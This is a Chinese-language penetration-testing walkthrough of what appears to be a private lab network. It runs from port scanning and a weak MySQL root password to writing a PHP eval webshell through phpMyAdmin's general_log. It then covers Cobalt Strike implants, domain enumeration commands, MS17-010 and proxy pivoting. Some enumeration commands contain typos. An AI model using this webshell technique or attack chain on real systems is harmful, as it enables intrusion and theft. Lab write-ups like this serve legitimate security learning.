1、信息收集：
使用nmap做端口扫描：
nmap -sV -Pn -T4 192.168.26.174
重要端口：80、445、139、135、3306
目录扫描：
访问80端口：发现一个网站是phpstudy搭建的；
发现一个mysql数据库，那我们对它进行暴力破解，说不定还存在弱口令呢
root/root 成功登录！
接下来访问我们扫描出来的目录，http://192.168.26.174/phpmyadmin/，这是一个数据库管理工具，拿着数据库的帐号密码直接去登录！
通过翻阅数据库文件，发现了yxcms，于是访问下：
这种利用就是找Nday打，还有就是弱口令登录或绕过，然后找功能点、找上传点……
这里主要学习下phpmyadmin的利用方式：
可以百度搜搜phpmyadmin的利用方式，我想了下，一种是利用nday去打，一种是写马子；
结果没有搜到可利用的方式，直接去尝试写木马把，写木马也有好几种思路；
1、查看数据库是否有导入权限，看能否导入木马
SHOW GLOBAL VARIABLES LIKE '%secure%'
没有导入权限， 无法写木马，查看是否有开启全局日志
SHOW GLOBAL VARIABLES LIKE '%general%'
全局日志功能关闭，不过可以通过命令开启，并修改日志保存的绝对路径，这里的路径可以在探针页面获得。
SET GLOBAL general_log = ON;# 开启日志
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';向日志文件写shell
select '<?php eval ($_POST[cmd]);?>'使用蚁剑连接：
成功拿到web服务器的权限：
接下来直接上传cs生成的木马：（其实这里也需要看看是否开启了杀软等，有的话我们就需要做免杀）
成功上线并提权：
做内网信息收集，看能不能打到域控去：
还是个双网卡，而且发现了域
查看IP：ipconfig /all
漏洞补丁：systeminfo
查看进程 ：tasklist
查看端口：netstat -ano
共享：net share
查看计划任务：at schtasks
用户列表：net user
域用户：net user /domain
判断主域: net tile /domain
查看工作站域的dns:net config workation
获取本地管理员信息：net localgroup administratios
查看在新用户：query user
查看会话链接：net session
域环境信息收集：
查看当前权限：whoami
获取sid：whoami /all
获取域信任关系（跨域攻击）：nltest /domain_trusts抓密码、hash：
找到这些后就可以利用他们做密码喷洒、横向等手段：
对内网主机进行扫描探测，对c段进行扫描，主要扫描139，445，135，3389，3306，6379端口
看到445我就想到ms17-010，这个的话可以利用msf搞，比较方便：
内网机器不出网， 做一个正向shell，
然后进行密码喷洒和横向渗透：
可以使用cs搭建socks5隧道，配合Proxifier,在本地使用fscan扫，看有没有相关漏洞和弱口令等；
也可以使用frp代理工具。
还有一种就是 msf与cs联动：
cs配置一个监听器：
msf接收会话：
添加路由：
开启socket5代理：
配置
vim /etc/proxychains4.conf
然后进行后渗透操作……
